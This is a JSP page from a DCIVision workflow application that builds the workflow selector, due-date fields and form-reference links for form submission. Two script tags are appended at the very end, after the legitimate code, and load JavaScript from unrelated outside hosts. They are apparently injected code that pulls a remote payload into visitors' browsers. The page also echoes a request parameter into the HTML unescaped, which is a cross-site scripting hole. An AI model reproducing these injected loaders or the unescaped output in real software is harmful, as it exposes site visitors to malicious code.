<script language="javascript">

<!--
  
  function PopupSetDueDates(idField) {
    var height;
    var width;
    var windowName;
    var moreStepDueDates
    var workflowRecordID;


    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }

    height = 90 + 30 * <%=SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKFLOW_ATTACHMENT_UPLOAD_LIMIT)%>;
    width = 540;
    windowName = "DCIVisionPopupSetDueDates";
    var frmObj = eval('frm.'+idField);
      moreStepDueDates = frm.nextStepDueDates.value;
      workflowRecordID = frm.workflowRecordID.value;
    if(workflowRecordID.indexOf("|") > 0){
      workflowRecordID = workflowRecordID.substring(0,workflowRecordID.indexOf("|"));
    }

    OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintNextStepDueDates.do?navMode=N&SHOW_HEADER_FOOTER=N&workflowRecordID="+workflowRecordID+"&moreStepDueDates="+moreStepDueDates, windowName, width, height, "scrollbars=yes");
    return(false);
  }

 function setDueDates(moreStepDueDates,nextStepDueDates){
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    frm.moreStepDueDates.value = moreStepDueDates;
    frm.nextStepDueDates.value = nextStepDueDates;
    //return(false);
 }
  function setFileNamesValue(displayFileNames,fileNames){
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }

    frm.oldUpdateFileText.value = displayFileNames;
    frm.oldUpdateFileValue.value = fileNames;

 }

 
 function disableDiv(){
   for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
   }

   if(frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE%>")>0 ||
      frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>")>0){
     frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.TRUE%>";
     if(parseInt(frm.workflowRecordID.value.substring(frm.workflowRecordID.value.lastIndexOf("|")+1,frm.workflowRecordID.value.length)) > 1){
       FindObj("dueDateMoreDiv").style.display = "block";
       FindObj("dueDateOneDiv").style.display = "none";
     } else {
       if( frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>")>0 ){

        nextStepDueDateStyle.style.backgroundColor = "#CC0000";
        nextStepDueDateStyle.style.color = "#FFFFFF";

       }else{
         nextStepDueDateStyle.style.backgroundColor = "#DDDDDD";
         nextStepDueDateStyle.style.color = "#000000";
       }
         FindObj("dueDateMoreDiv").style.display = "none";
         FindObj("dueDateOneDiv").style.display = "block";
       }
   } else {
     if(frm.nextStepAllowAssignDueDate){
       frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.FALSE%>";
     }
     if (FindObj("dueDateOneDiv")) {
       FindObj("dueDateOneDiv").style.display = "none";
     }
     if (FindObj("dueDateMoreDiv")) {
       FindObj("dueDateMoreDiv").style.display = "none";
     }
   }

  
 }

//-->
</script>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%
  boolean isDynamicAssignDueDate = false;
  int dynamicAssignStepCount = 0;
  boolean nextStepDueDateIsMandatory = false;
  Integer currentFormRecordID = null;
  Integer firstWorkflowRecordIDByForm = null;
  
  //String workflowRecordID = request.getParameter("workflowRecordID");
  
try {
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");
  java.sql.Connection dbConnection = (java.sql.Connection)request.getAttribute(com.dcivision.framework.GlobalConstant.DB_KEY);
  com.dcivision.form.dao.FormRecordDAObject formRecordDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, dbConnection);

  if (Utility.isEmpty(request.getParameter("isWorkflowViewFlag"))||"null".equals(request.getParameter("isWorkflowViewFlag"))) {
    com.dcivision.workflow.dao.WorkflowRecordDAObject workflowRecordDAO = new com.dcivision.workflow.dao.WorkflowRecordDAObject(sessionContainer, dbConnection);
    com.dcivision.workflow.dao.MtmWorkflowRecordObjectLinkDAObject workflowRecordObjectLinkDAO = new com.dcivision.workflow.dao.MtmWorkflowRecordObjectLinkDAObject(sessionContainer, dbConnection);
    com.dcivision.framework.web.WorkflowActionFormInterface actionForm = null;
    String actionMode = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
    String formName = null;
    boolean editFlag = false;

    // Find the action form name.
    for (java.util.Enumeration e = request.getAttributeNames(); e.hasMoreElements();) {
      String paramName = (String)e.nextElement();
      Object tmpObj = request.getAttribute(paramName);
      if (tmpObj instanceof com.dcivision.framework.web.WorkflowActionFormInterface && !paramName.equals("org.apache.struts.taglib.html.BEAN")) {
        actionForm = (com.dcivision.framework.web.WorkflowActionFormInterface)tmpObj;
        formName = paramName;
      }
    }

    currentFormRecordID = new Integer(((com.dcivision.form.web.MaintFormSubmissionForm)actionForm).getFormRecordID());

    if (actionForm != null) {
      // Find the related workflow routine(s).
      Integer workflowCategoryID = new Integer((String)pageContext.getAttribute("sysWorkflowCategoryID"));


      List workflowRecordList = new ArrayList();
      List mtmWorkflowRecordObjectLinkList = null;

      // Base on difference category ID.
      if (com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(workflowCategoryID.toString()) ||
          com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PAPER_DOCUMENT.equals(workflowCategoryID.toString()) ) {
        Integer objectID = null;
        String objectType = "";
        List udfWorkflowList = null;

        if (!Utility.isEmpty(((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getUserDefinedFieldID())) {
          if(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(workflowCategoryID.toString()) ){
            workflowCategoryID = new Integer( com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT );
          } else {
            workflowCategoryID = new Integer( com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PAPER_UDF_DOCUMENT );
          }
          objectID = new Integer( ((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getUserDefinedFieldID() );
          objectType = GlobalConstant.OBJECT_TYPE_UDF;
          udfWorkflowList = workflowRecordDAO.getListCanSubmit(workflowCategoryID,objectID,objectType);
        }

        if(!Utility.isEmpty(udfWorkflowList)){
          workflowRecordList = udfWorkflowList;
        } else {
          workflowCategoryID = new Integer((String)pageContext.getAttribute("sysWorkflowCategoryID"));
          objectID = new Integer(((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getRootID());
          objectType = GlobalConstant.OBJECT_TYPE_DOCUMENT;
          workflowRecordList = workflowRecordDAO.getListCanSubmit(workflowCategoryID,objectID,objectType);
        }


      } else if (com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(workflowCategoryID.toString()) ||
                 com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(workflowCategoryID.toString()) ) {
         
        if(!Utility.isEmpty(workflowRecordID) && (Utility.isEmpty(request.getParameter("workflowStepID")) || "null".equals( request.getParameter("workflowStepID") ) ) ){
          //get all workflows that associated with this form & this form group
          workflowRecordList.add(workflowRecordDAO.getObjectByID(new Integer(workflowRecordID)) );       
          
        }
      }

      if (!Utility.isEmpty(workflowRecordList)) {
        String[][] tmpAry = new String[workflowRecordList.size()][];
        for (int i = 0; i < workflowRecordList.size(); i++) {
          com.dcivision.workflow.bean.WorkflowRecord tmpWfRecord = (com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i);
          String workflowDescription = TextUtility.noNull(tmpWfRecord.getDescription());
          // limit to 50 characters
          int limit = 50;
          if(workflowDescription.length() > limit){
            workflowDescription = workflowDescription.substring(0, limit) + "...";
          }
          
          if( i == 0 ){
            firstWorkflowRecordIDByForm = tmpWfRecord.getID();
          }
          if (workflowRecordList.size() == 1) {
            actionForm.setWorkflowRecordID(tmpWfRecord.getID().toString());
            tmpAry[i] = new String[] { (tmpWfRecord.getWorkflowCode()  + " (" + tmpWfRecord.getWorkflowVersion() + ") - " + workflowDescription ), tmpWfRecord.getID().toString() };
            dynamicAssignStepCount = ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDateCount();
            if(com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() ) ||
               com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() )  ){
              isDynamicAssignDueDate = true;
              if(com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() ) ){
                nextStepDueDateIsMandatory = true;
              }
            }
          } else {            
            tmpAry[i] = new String[] { (tmpWfRecord.getWorkflowCode() + " (" + tmpWfRecord.getWorkflowVersion() + ") - " + workflowDescription), tmpWfRecord.getID().toString()+ "|" + tmpWfRecord.getNextStepDynamicAssignDueDate() + "|" + tmpWfRecord.getNextStepDynamicAssignDueDateCount() };
          }
        }
        if (workflowRecordList.size() > 1) {
          editFlag = true;
        }
      %>
      <html:hidden property='oldUpdateFileText' value=""/>
      <html:hidden property='oldUpdateFileValue' value=""/>
    <tr><td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='12'/></td></tr>
    <html:hidden property='submitSystemWorkflow' value='Y'/>
    <layout:sectionHeader name='workflow.label.workflow_information' mandatory='false'/>
    <tr>
      <td class="<layout:classLabel mandatory='true'/>" width="25%" valign="top"><bean:message key='workflow.label.workflow_routine'/>:&nbsp;</td>
      <td class="dataField" width="75%">
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
      <a href="" onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID="<%= editFlag ? (" + document." + formName + ".workflowRecordID.options[document." + formName + ".workflowRecordID.selectedIndex].value.substring(0,document." + formName + ".workflowRecordID.options[document." + formName + ".workflowRecordID.selectedIndex].value.indexOf(\"|\") )") : (" + \"" + ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(0)).getID() + "\"") %>, "DCIVisionWorkflowPreviewWin", 800, 600, "scrollbars=yes")'><html:img src='IconView.gif'  align='absmiddle'/></a>
      <%}%>
      <html:select property='workflowRecordID' textOnly='<%=!editFlag%>' onchange='return disableDiv()'>
        <html:options stringArray='<%=tmpAry%>' hasSelect='false' convertLabel='false'/>
      </html:select>
      </td>
    </tr>
    <% 
      List tmpFormRecordList = new ArrayList();
      if(!Utility.isEmpty(workflowRecordID)){        
        tmpFormRecordList = formRecordDAO.getBindFormListByWorkflowRecordID(new Integer(workflowRecordID));
      }
      
      FormSubmissionManager manager = new FormSubmissionManager(sessionContainer, dbConnection);
      boolean isLastForm = manager.isLastFormForWorkflow(new Integer(workflowRecordID) , new Integer(Utility.isEmpty(maintFormSubmissionForm.getTrackID())? "0" : maintFormSubmissionForm.getTrackID() ) );
      
    %>
    <input type=hidden name=multiForm value="<%= !Utility.isEmpty(tmpFormRecordList) && (tmpFormRecordList.size() > 1)%>">
    <%  
      if ( isLastForm ){
    %>
    
    <!-- ===================Dynamic Assign Due Date For Next Step Begin======================== -->
    <tr><td colspan="2">
    <html:hidden property='nextStepAllowAssignDueDate'/>
    <div id="dueDateOneDiv">
    <table width="100%" cellspacing="0" cellpadding="0">
    <tr>
      <td id="nextStepDueDateStyle" class="<layout:classLabel mandatory='false'/>" width="25%" valign="top"><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
      <td class="dataField" width="75%">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
        <html:text property='nextStepDueDates'/>
      <%}else {%>
      <html:datepicker property='nextStepDueDates' time='true'/></td>
      <%}%>
    </tr>
    </table>
    </div>

    <div id="dueDateMoreDiv">
    <table width="100%" cellspacing="0" cellpadding="0">
    <tr>
      <td class="<layout:classLabel mandatory='false'/>" width="25%" valign="top"><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
      <td class="dataField" width="75%">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
        <%=request.getParameter("moreStepDueDates")%>
      <%}else{ %>
        <textarea name="moreStepDueDates" cols="40" rows='4' readonly="readonly"></textarea>
        &nbsp;
        <html:standardButton label="workflow.label.due_date" onClick="return PopupSetDueDates('nextStepDueDates')"/>	
      <%}%>

      </td>
    </tr>
    </table>
    </div>

    </td></tr>
    <!-- ==================Dynamic Assign Due Date For Next Step End ========================== -->
    

    <tr><td colspan="2">
      <!-- ####################### Submit Workflow Information Div Begin   ####################### --> 
      <Div id="infoDiv">
      <table width="100%" cellspacing="0" cellpadding="0" border="0">        
        <tr>
          <td class="<layout:classLabel/>" width="25%" valign="top"><bean:message key='workflow.label.progress_comment'/>:&nbsp;</td>
          <td class="dataField" width="75%"><html:textarea property='workflowComment' cols='40' rows='3' textlimit='1000'/></td>
        </tr>        
        <!-- Upload Attachment -->
        <tr>
          <td class="<layout:classLabel/>" width="25%" valign="top" rowspan='<%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?"1":"2"%>'><bean:message key='workflow.label.supporting_document'/>:&nbsp;</td>
          <td class="dataField" width="75%"><wfm:attachment width="340" height="44" popW="550" popH="500" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N"/></td>
        <tr> 
        <tr>
          <td class="<layout:classLabel/>"></td>
          <td class="dataField"></td>
        <tr> 

    </table>
       </Div>
    <!-- ####################### Submit Workflow Information Div End   ####################### -->   
    </td></tr>

    <%} else {%>
    <tr><td colspan="2">
      <!-- ############################ Bind Form Information Div Begin ################################-->
      <% 
         if(!Utility.isEmpty(tmpFormRecordList)){
      %>
      
      <Div id="REFERENCE" >     
      <table width="100%" cellspacing="0" cellpadding="0">
        <tr>
          <td class="<layout:classLabel mandatory='false'/>" width="25%" valign="top"><bean:message key='workflow.label.reference_form'/>:&nbsp;</td>
          <td class="dataField" width="75%">
    <%     
           for (int j=0; j<tmpFormRecordList.size(); j++) {
             FormRecord tmpFormRecord = (FormRecord)tmpFormRecordList.get(j);
    %>
           <html:img src='<%=GlobalConstant.TRUE.equals(tmpFormRecord.getMandatory() )? "LayoutNavMenuExitOn.gif" : "LayoutNavMenuExit.gif"%>' common = 'true'/>
    <%         
             if(currentFormRecordID.equals(tmpFormRecord.getID())){
    %>                
            <%=tmpFormRecord.getTitle() + " [ " + tmpFormRecord.getFormCode() +" ] ( "+ tmpFormRecord.getFormVersion() + " )" %><br>   
    <%
             } else { 
    %>           
       <a href="" onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/form/MaintFormSubmission.do?navMode=V&SHOW_HEADER_FOOTER=N&function=FORMSUBMISSION&formRecordID=<%=tmpFormRecord.getID()%>&isViewTask=Y", "DCIVisionWorkflowPreviewWin", 800, 600, "scrollbars=yes")'>       
       <%=tmpFormRecord.getTitle() + " [ " + tmpFormRecord.getFormCode() +" ] ( "+ tmpFormRecord.getFormVersion() + " )" %> </a><br>         
    <%       }
           }
    %>     
          </td>
        </tr>
      </table>
      </Div>
    <%   }
       %> 

      
      <!-- ############################ Bind Form Information Div End   ################################-->
    </td></tr>
    <%}%>


        <%
        Integer trackID = null;
        if (!Utility.isEmpty(maintFormSubmissionForm.getTrackID()) ) {
          trackID = new Integer(maintFormSubmissionForm.getTrackID());
        }
        if (request.getAttribute("WF_PROGRESS") != null) {
          trackID =((com.dcivision.workflow.bean.WorkflowProgress)request.getAttribute("WF_PROGRESS")).getTrackID();
        }
        if(!Utility.isEmpty(trackID)){
        %>
    <tr>
      <td class="<layout:classLabel/>" width="25%" valign="top"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
      <td class="dataField" width="75%"><font color="#0000FF"><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%></font></td>
    </tr>
        <%}%>
        
      <%}%>
    <%}%>
  <%}%>

<%} catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }%>

<script language="javascript">
 <!--
   init();

   function init(){
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    if(frm.workflowRecordID){
     disableDiv();
    }
    <%if(isDynamicAssignDueDate && dynamicAssignStepCount > 1){%>
      FindObj("dueDateMoreDiv").style.display = "block";
      FindObj("dueDateOneDiv").style.display = "none";
    <%}%>
    <%if(isDynamicAssignDueDate && dynamicAssignStepCount == 1){%>
      frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.TRUE%>";
      <%if(nextStepDueDateIsMandatory){%>
      nextStepDueDateStyle.style.backgroundColor = "#CC0000";
      nextStepDueDateStyle.style.color = "#FFFFFF";
      <%}%>
      FindObj("dueDateMoreDiv").style.display = "none";
      FindObj("dueDateOneDiv").style.display = "block";
    <%}%>
  }
 -->
 </script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>